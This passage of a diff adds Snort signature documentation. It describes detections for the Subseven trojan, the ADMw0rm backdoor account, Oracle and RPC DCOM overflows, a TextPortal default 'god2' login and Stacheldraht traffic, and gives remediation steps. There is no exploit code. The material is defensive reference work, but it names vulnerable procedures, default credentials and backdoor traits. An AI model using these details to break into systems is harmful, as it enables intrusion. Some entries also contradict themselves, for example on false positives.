+Snort detected data resembling the x86 assembly code to change the
+user identity to 0.  
+
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of an attack on a remote service, an attacker may attempt to
+take advantage of insecure coding practices and execute code of his or
+her choosing through techniques known as 'buffer-overflows',
+'format-strings' and others.  Such attacks may contain code to change
+the identity of the current user to that of the root account (setuid
+0).  
+
+--
+Ease of Attack:
+Non-trivial.  Shellcode (and just x86 assembly code in general)
+requires a fairly intimate knowledge of computer architecture, memory
+structures, and many concepts that are part of the more arcane areas
+of computing.  Furthermore, if this was in fact an attack, the
+attacker needs to have a good idea of the design of the both the
+program and the system that he or she is attacking. The x86 setuid
+call itself is not particularly difficult, and by itself is not
+harmful.  However, combined with other carefuly aimed shellcode, it
+can be quite lethal.
+
+--
+False Positives:
+None Known
+Fairly high.  Large binary transfers, certain web traffic, and even
+mail traffic can trigger this rule, but are not necessarily indicative
+of actualy setuid code.
+
+--
+False Negatives:
+None Known
+Unknown, but probably possible.
+
+--
+Corrective Action:
+Determine what stream of traffic generated this particular alert.  If
+you only have the alert but not the entire packet, examine system for
+pecularities.  If you are smart and have the entire packet (or better
+yet, all your traffic for the past n hours), attempt to determine if
+this particular sequence of characters was part of an innocent stream
+of data (large binary transfers, for example) or part of a malicious
+act against your machine.  In either case, check for other activity
+from the host in question -- both currently collected traffic and
+traffic in the future.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org> 
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2100.txt
+++ snort-2.8.5.2/doc/signatures/2100.txt
@@ -0,0 +1,123 @@
+Rule:
+
+--
+Sid: 2100
+
+--
+Summary:
+Subseven 2.1 Gold is a Trojan Horse offering complete control of the 
+infected host.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a 
+compromise of all resources the machine is connected to. This Trojan 
+also has the ability to delete data, steal passwords and disable the 
+machine. Other versions are capable of launching DDoS attacks.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+No other systems are affected. This is a windows executable that makes 
+changes to the system registry, Win.ini and System.ini. When first 
+executed the Trojan listens on either port 27374 or port 1243.
+
+Subseven is an improved version of the Netbus Trojan (see sids 114, 
+115), Subseven 2.1 Gold is an improved version of Subseven that 
+affects Windows 95 and 98 implementations.
+
+The Trojan changes system startup files and registry settings to add the
+Subseven server to programs normally started on boot.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This 
+compromise can be in the form of a Win32 installation program that may 
+use the extension ".jpg" or ".bmp" when delivered via e-mail for 
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. 
+
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be 
+attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a 
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
+    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
+
+Registry key added:
+
+	Winloader
+
+Also affected:
+
+	HKEY_CLASSES_ROOT\exefile\shell\open\command
+
+This registry key should be blank, i.e. ""
+
+The registry should also be searched for the entry  
+
+  HKEY_CLASSES_ROOT\.dl 
+
+if this exists it should be deleted.
+
+This Trojan may also be started from the files win.ini and system.ini, 
+remove the entry run=MSREXE.exe and change the line 
+shell=Explorer.exe MSREXE.exe to the default value shell=explorer.exe.
+
+Removal of the Trojan is also required, look for the file "MSREXE.exe" 
+in the <drive>:\Windows\ or <drive>:\Windows\System\ folders.
+
+Additionally, the files "RUN.EXE", "WINDOS.EXE" or "MUEEXE.EXE" may also
+be present on the system and should be removed along with any references
+to them in the start up locations in the same manner as for MSREXE.exe.
+
+Note, these file names are the default ones and can be changed by the 
+attacker.
+
+A machine reboot is required to clear the existing process from running 
+in memory.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Hackfix
+http://www.hackfix.org/subseven/
+
+McAfee
+http://vil.mcafee.com/dispVirus.asp?virus_k=10566
+
+Dark-e:
+http://www.dark-e.com/archive/trojans/subseven/gold/index.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/144.txt
+++ snort-2.8.5.2/doc/signatures/144.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+144
+
+--
+Summary:
+This event is generated when an FTP login by user "w0rm" was attempted. 
+This is an account used by the ADMw0rm-v1 worm.
+
+--
+Impact:
+Infected systems are left with a backdoor user account named 
+"w0rm" and an email with the victims ip address is emailed to the worms 
+creators.
+
+--
+Detailed Information:
+This worm exploits a vulnerability in BIND version 4.9.6 and is linux 
+specific. These attempts mean the box has probably already been 
+compromised.
+
+--
+Affected Systems:
+	Default installations of RedHat 4.0 to 5.2
+
+--
+Attack Scenarios:
+Standard Internet worm.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade BIND on vulnerable servers.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS01
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2856.txt
+++ snort-2.8.5.2/doc/signatures/2856.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2856
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure switch_mview_master
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1184.txt
+++ snort-2.8.5.2/doc/signatures/1184.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1184
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2052.txt
+++ snort-2.8.5.2/doc/signatures/2052.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2052
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Sun Cobalt RaQ server appliances.
+
+--
+Impact:
+Execution of code and possible root compromise of the system.
+
+--
+Detailed Information:
+A vulnerability in the security hardening package for Sun Cobalt RaQ 4 
+and RaQ 3 running RaQ 4 does not filter user input to the email variable
+in the overflow.cgi script correctly.
+
+POST requests to the script may contain code in the email variable which
+will then be processed with the privilege of the super user on the 
+system.
+
+--
+Affected Systems:
+Sun Cobalt RaQ 4 Server Appliances with the Security Hardening Package 
+installed
+Sun Cobalt RaQ 3 Server Appliances running the RaQ 4 build with the 
+Security Hardening Package installed
+
+--
+Attack Scenarios:
+An attacker can supply his own POST request to the overflow.cgi script 
+that contains code he wishes to run.
+
+An exploit is also available.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor fixes.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/810921
+http://www.cert.org/advisories/CA-2002-35.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2232.txt
+++ snort-2.8.5.2/doc/signatures/2232.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2232
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow in Trend Micro InterScan eManager.
+
+--
+Impact:
+Serious. Remote administrative access is possible.
+
+--
+Detailed Information:
+Versions of Trend Micro InterScan eManager suffer from a buffer overflow
+condition that can present an attacker with the opportunity to execute 
+arbitrary code of their choosing which could lead to remote access to 
+the server.
+
+--
+Affected Systems:
+	Trend Micro InterScan eManager 3.51
+
+--
+Attack Scenarios:
+If the buffer overflow condition is met, the attacker can run code of 
+their choosing on the affected host.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disable the web interface
+
+Enable NTLM authentication for the administrative interface
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/3327
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2975.txt
+++ snort-2.8.5.2/doc/signatures/2975.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2975
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3260.txt
+++ snort-2.8.5.2/doc/signatures/3260.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3260
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000351.txt
+++ snort-2.8.5.2/doc/signatures/100000351.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000351
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "UBBThreads" application running on a webserver. Access to the file "config[cookieprefix]" using a remote file being passed as the "w3t_language" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "w3t_language" parameter in the "config[cookieprefix]" script used by the "UBBThreads" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using UBBThreads
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2730.txt
+++ snort-2.8.5.2/doc/signatures/2730.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2730
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_site_priority_site
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1013.txt
+++ snort-2.8.5.2/doc/signatures/1013.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1013
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000650.txt
+++ snort-2.8.5.2/doc/signatures/100000650.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000650
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "email" parameter in the "index.php" script 
+used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2603.txt
+++ snort-2.8.5.2/doc/signatures/2603.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2603
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "create_mview_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "fname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck633.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2146.txt
+++ snort-2.8.5.2/doc/signatures/2146.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid: 2146
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in the php application TextPortal. 
+
+--
+Impact:
+Potential administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to supply a known default administrator password for the php application TextPortal.
+
+The default administrator account 'god2' has known, weak passwords that could be used by an attacker to gain unauthorized access to the application.
+
+
+--
+Affected Systems:
+Any host using TextPortal.
+
+--
+Attack Scenarios:
+An attacker can log in to the application using the account god2 and gain administrator access to the site.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Disable the god2 account.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7673
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3391.txt
+++ snort-2.8.5.2/doc/signatures/3391.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3391
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/296.txt
+++ snort-2.8.5.2/doc/signatures/296.txt
@@ -0,0 +1,61 @@
+SID:
+296
+--
+
+Rule:
+--
+
+Summary:
+This event is triggered when an attempt is made to overflow an imapd 
+server.
+--
+
+Impact:
+Commands may be run on the IMAP server as the root user, This can lead 
+to a complete compromise of the targeted system
+--
+
+Detailed Information:
+Failure to check the size of the value passed to the 'AUTHENTICATE' 
+command on certain IMAPD implementations can lead to a buffer overflow. 
+This in turn can allow arbitrary commands to be executed on the server.
+--
+
+Affected Systems:
+	Netscape Messaging Server 3.55, 
+	University of Washington imapd 10.234
+--
+
+Attack Scenarios:
+An attacker may attempt to exploit a vulnerable imapd server, permitting
+the execution of arbitrary commands possibly with the privilege of user 
+"root".
+--
+
+Ease of Attack:
+Simple. Sample exploit code is available.
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Vendors have provided updated versions, upgrading will resolve this 
+problem
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/316.txt
+++ snort-2.8.5.2/doc/signatures/316.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 316
+
+--
+Summary:
+This event is generated when an attempt is made to escalate privileges remotely using a vulnerability in mountd.
+
+--
+Impact:
+System compromize presenting the attacker with escalated system privileges .
+
+--
+Detailed Information:
+Some implementations of the Network File System (NFS) on Linux systems use a vulnerable version of mountd that is subject to a buffer overflow condition in the logging subsystem.
+
+The mountd logging facility also logs failed attempts to mount shared resources, even if NFS is not enabled on the system. This means that exploitation of this issue is possible wether or not NFS is being used.
+
+Affected Systems:
+	Caldera OpenLinux Standard 1.2
+	RedHat Linux 2.0, 2.1, 3.0.3, 4.0, 4.1, 4.2, 5.0, 5.1
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/121
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0917
+
+CERT:
+http://www.cert.org/advisories/CA-1998-12.html
+http://www.cert.org/summaries/CS-98-08.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/225.txt
+++ snort-2.8.5.2/doc/signatures/225.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+225
+
+--
+Summary:
+This event is generated when the Stacheldraht DDoS tool is used.
+
+--
+Impact:
+This indicates that a Stacheldraht agent exists on the source host and a handler exists on the destination host.
+
+--
+Detailed Information:
+The Stacheldraht DDoS uses a tiered structure of compromised hosts to coordinate and participate in a denial of service attack.  There are "handler" hosts that are used to coordinate the attacks and "agent" hosts that launch the attack.  A handler may probe for a Stacheldraht agent.  There is also "gag" program used to scan for Stacheldraht agents.  A response to a "gag" request will be an ICMP echo reply with an ICMP identification number of 669 and a string of "sicken" in the payload.  
+
+--
+Affected Systems:
+Any Stacheldraht compromised host.
+
+--
+Attack Scenarios:
+A handler may probe for a Stacheldraht agent or the "gag" program can be used to discover Stacheldraht agents.  The "gag" program can be run by a defender of a network if there is a suspected Stacheldraht agent on the network. An attacker could also run the "gag" program to find an agent.
+
+
+--
+Ease of Attack:
+Simple. The "gag" script is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Turn of all unnecessary services on hosts.
+
+Upgrade to the latest patch level.
+
+Use a packet filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS195
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1547.txt
+++ snort-2.8.5.2/doc/signatures/1547.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1547
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2796.txt
+++ snort-2.8.5.2/doc/signatures/2796.txt
